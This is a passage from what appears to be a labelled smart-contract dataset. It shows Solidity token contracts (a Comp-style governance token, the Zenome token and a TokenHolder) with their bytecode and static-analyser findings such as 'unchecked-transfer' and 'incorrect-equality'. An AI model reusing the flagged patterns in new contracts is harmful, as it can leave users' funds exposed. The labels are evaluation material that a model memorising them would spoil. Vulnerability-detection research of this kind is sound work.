newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b919061173a565b60405180910390f35b610157610152366004611203565b6102e3565b60405161013b9190611690565b61016c6103a0565b60405161013b919061169e565b61016c6103af565b61015761018f3660046111b6565b6103c6565b61019c61050b565b60405161013b91906117d4565b6101bc6101b7366004611156565b610510565b60405161013b9190611682565b6101dc6101d7366004611156565b61052b565b005b6101f16101ec366004611156565b610538565b60405161013b91906117ab565b61016c61020c366004611156565b610550565b61022461021f366004611203565b610574565b60405161013b91906117f0565b61016c61023f366004611156565b61078b565b61012e61079d565b61015761025a366004611203565b6107bf565b61022461026d366004611156565b6107fb565b6101dc610280366004611233565b61086b565b61016c61029336600461117c565b610a53565b61016c610a85565b6102b36102ae3660046112ba565b610a91565b60405161013b9291906117b9565b6040518060400160405280600681526020016543686565736560d01b81525081565b6000806000198314156102f9575060001961031e565b61031b8360405180606001604052806025815260200161190c60259139610ac6565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038c9085906117e2565b60405180910390a360019150505b92915050565b6a084595161401484a00000081565b6040516103bb9061166c565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261041c928892919061190c90830139610ac6565b9050866001600160a01b0316836001600160a01b03161415801561044957506001600160601b0382811614155b156104f157600061047383836040518060600160405280603d81526020016119e3603d9139610af5565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104e79085906117e2565b60405180910390a3505b6104fc878783610b34565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105353382610cdf565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b600043821061059e5760405162461bcd60e51b81526004016105959061176b565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105cc57600091505061039a565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610648576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061039a565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068357600091505061039a565b600060001982015b8163ffffffff168163ffffffff16111561074657600282820363ffffffff160481036106b5611113565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156107215760200151945061039a9350505050565b805163ffffffff168711156107385781935061073f565b6001820392505b505061068b565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600681526020016543484545534560d01b81525081565b6000806107e48360405180606001604052806026815260200161193160269139610ac6565b90506107f1338583610b34565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610826576000610504565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108799061166c565b60408051918290038220828201909152600682526543686565736560d01b6020909201919091527fc4878b1174b7ff57411e2bfb8a85944e26def43dedd6bad7c30dc54bcbb4e3e66108c9610d69565b306040516020016108dd94939291906116ea565b604051602081830303815290604052805190602001209050600060405161090390611677565b60405190819003812061091e918a908a908a906020016116ac565b6040516020818303038152906040528051906020012090506000828260405160200161094b92919061163b565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610988949392919061171f565b6020604051602081039080840390855afa1580156109aa573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109dd5760405162461bcd60e51b81526004016105959061174b565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a1c5760405162461bcd60e51b81526004016105959061177b565b87421115610a3c5760405162461bcd60e51b81526004016105959061175b565b610a46818b610cdf565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103bb90611677565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610aed5760405162461bcd60e51b8152600401610595919061173a565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b2c5760405162461bcd60e51b8152600401610595919061173a565b505050900390565b6001600160a01b038316610b5a5760405162461bcd60e51b81526004016105959061179b565b6001600160a01b038216610b805760405162461bcd60e51b81526004016105959061178b565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bcb936001600160601b0390921692859291906118d690830139610af5565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c3394919091169285929091906119b390830139610d6d565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca09085906117e2565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610cda92918216911683610da9565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d63828483610da9565b50505050565b4690565b6000838301826001600160601b038087169083161015610da05760405162461bcd60e51b8152600401610595919061173a565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610dd457506000816001600160601b0316115b15610cda576001600160a01b03831615610e8c576001600160a01b03831660009081526004602052604081205463ffffffff169081610e14576000610e53565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e7a828560405180606001604052806028815260200161198b60289139610af5565b9050610e8886848484610f37565b5050505b6001600160a01b03821615610cda576001600160a01b03821660009081526004602052604081205463ffffffff169081610ec7576000610f06565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f2d8285604051806060016040528060278152602001611a2060279139610d6d565b9050610a4b858484845b6000610f5b43604051806060016040528060348152602001611957603491396110ec565b905060008463ffffffff16118015610fa457506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611003576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110a2565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110dd9291906117fe565b60405180910390a25050505050565b600081600160201b8410610aed5760405162461bcd60e51b8152600401610595919061173a565b604080518082019091526000808252602082015290565b803561039a816118a6565b803561039a816118ba565b803561039a816118c3565b803561039a816118cc565b60006020828403121561116857600080fd5b6000611174848461112a565b949350505050565b6000806040838503121561118f57600080fd5b600061119b858561112a565b92505060206111ac8582860161112a565b9150509250929050565b6000806000606084860312156111cb57600080fd5b60006111d7868661112a565b93505060206111e88682870161112a565b92505060406111f986828701611135565b9150509250925092565b6000806040838503121561121657600080fd5b6000611222858561112a565b92505060206111ac85828601611135565b60008060008060008060c0878903121561124c57600080fd5b6000611258898961112a565b965050602061126989828a01611135565b955050604061127a89828a01611135565b945050606061128b89828a0161114b565b935050608061129c89828a01611135565b92505060a06112ad89828a01611135565b9150509295509295509295565b600080604083850312156112cd57600080fd5b60006112d9858561112a565b92505060206111ac85828601611140565b6112f38161182b565b82525050565b6112f381611836565b6112f38161183b565b6112f36113178261183b565b61183b565b600061132782611819565b611331818561181d565b9350611341818560208601611870565b61134a8161189c565b9093019392505050565b600061136160268361181d565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b60006113a960268361181d565b7f436f6d703a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b60006113f1600283611826565b61190160f01b815260020192915050565b600061140f60278361181d565b7f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b600061145860228361181d565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b600061149c603a8361181d565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b60006114fb604383611826565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611566603c8361181d565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b60006115c5603a83611826565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6112f38161184a565b6112f381611853565b6112f381611865565b6112f381611859565b6000611646826113e4565b9150611652828561130b565b602082019150611662828461130b565b5060200192915050565b600061039a826114ee565b600061039a826115b8565b6020810161039a82846112ea565b6020810161039a82846112f9565b6020810161039a8284611302565b608081016116ba8287611302565b6116c760208301866112ea565b6116d46040830185611302565b6116e16060830184611302565b95945050505050565b608081016116f88287611302565b6117056020830186611302565b6117126040830185611302565b6116e160608301846112ea565b6080810161172d8287611302565b6116c76020830186611620565b60208082528101610504818461131c565b6020808252810161039a81611354565b6020808252810161039a8161139c565b6020808252810161039a81611402565b6020808252810161039a8161144b565b6020808252810161039a8161148f565b6020808252810161039a81611559565b6020810161039a8284611617565b604081016117c78285611617565b6105046020830184611632565b6020810161039a8284611620565b6020810161039a8284611629565b6020810161039a8284611632565b6040810161180c8285611629565b6105046020830184611629565b5190565b90815260200190565b919050565b600061039a8261183e565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061039a82611859565b60005b8381101561188b578181015183820152602001611873565b83811115610d635750506000910152565b601f01601f191690565b6118af8161182b565b811461053557600080fd5b6118af8161183b565b6118af8161184a565b6118af8161185356fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a723158200492b87ea8c43716e26e96a8b94df65a8cee4f1f769f700f2cbafc479a77ae7b6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,568
0x10dabd1629502e1a3bd3ef9a4ddbff2c9ba0d15a
pragma solidity ^0.4.18; /** * @title Ownable * @dev Adds onlyOwner modifier. Subcontracts should implement checkOwner to check if caller is owner. */ contract Ownable { modifier onlyOwner() { checkOwner(); _; } function checkOwner() internal; } /** * @title OwnableImpl * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract OwnableImpl is Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function OwnableImpl() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ function checkOwner() internal { require(msg.sender == owner); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @dev this version copied from zeppelin-solidity, constant changed to pure */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Read-only ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ReadOnlyToken { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function allowance(address owner, address spender) public constant returns (uint256); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract Token is ReadOnlyToken { function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ReadOnlyTokenImpl is ReadOnlyToken { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract TokenImpl is Token, ReadOnlyTokenImpl { using SafeMath for uint256; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emitTransfer(msg.sender, _to, _value); return true; } function emitTransfer(address _from, address _to, uint256 _value) internal { Transfer(_from, _to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emitTransfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is Token { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public; } contract BurnableTokenImpl is TokenImpl, BurnableToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract MintableToken is Token { event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) public returns (bool); } contract MintableTokenImpl is Ownable, TokenImpl, MintableToken { /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emitMint(_to, _amount); emitTransfer(address(0), _to, _amount); return true; } function emitMint(address _to, uint256 _value) internal { Mint(_to, _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is Pausable, TokenImpl { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract ZenomeToken is OwnableImpl, PausableToken, MintableTokenImpl, BurnableTokenImpl { string public constant name = "Zenome"; string public constant symbol = "sZNA"; uint8 public constant decimals = 18; function burn(uint256 _value) public whenNotPaused { super.burn(_value); } } contract TokenHolder is OwnableImpl { ZenomeToken public token; function TokenHolder(address _token) { token = ZenomeToken(_token); } function transfer(address beneficiary, uint256 amount) onlyOwner public { token.transfer(beneficiary, amount); } function burn(uint256 amount) onlyOwner public { token.burn(amount); } }
0x6060604052600436106100535763ffffffff60e060020a60003504166342966c6881146100585780638da5cb5b14610070578063a9059cbb1461009f578063f2fde38b146100c1578063fc0c546a146100e0575b600080fd5b341561006357600080fd5b61006e6004356100f3565b005b341561007b57600080fd5b61008361015a565b604051600160a060020a03909116815260200160405180910390f35b34156100aa57600080fd5b61006e600160a060020a0360043516602435610169565b34156100cc57600080fd5b61006e600160a060020a03600435166101ef565b34156100eb57600080fd5b610083610277565b6100fb610286565b600154600160a060020a03166342966c688260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561014357600080fd5b6102c65a03f1151561015457600080fd5b50505050565b600054600160a060020a031681565b610171610286565b600154600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156101d057600080fd5b6102c65a03f115156101e157600080fd5b505050604051805150505050565b6101f7610286565b600160a060020a038116151561020c57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b60005433600160a060020a039081169116146102a157600080fd5b5600a165627a7a7230582085e4e405acc39c3b3d2b7e20771b135ae7466e0bd175ab5c16b5663b518ff3f30029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
2,569
0x0e6093E9f6bE22c94CF892B6d06E4E18A9D91728
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ pragma solidity 0.5.12; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(isContract(address(token)), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address initialOwner) internal { require(initialOwner != address(0), "Ownable: initial owner is the zero address"); _owner = initialOwner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_isOwner(msg.sender), "Ownable: caller is not the owner"); _; } function _isOwner(address account) internal view returns (bool) { return account == _owner; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, 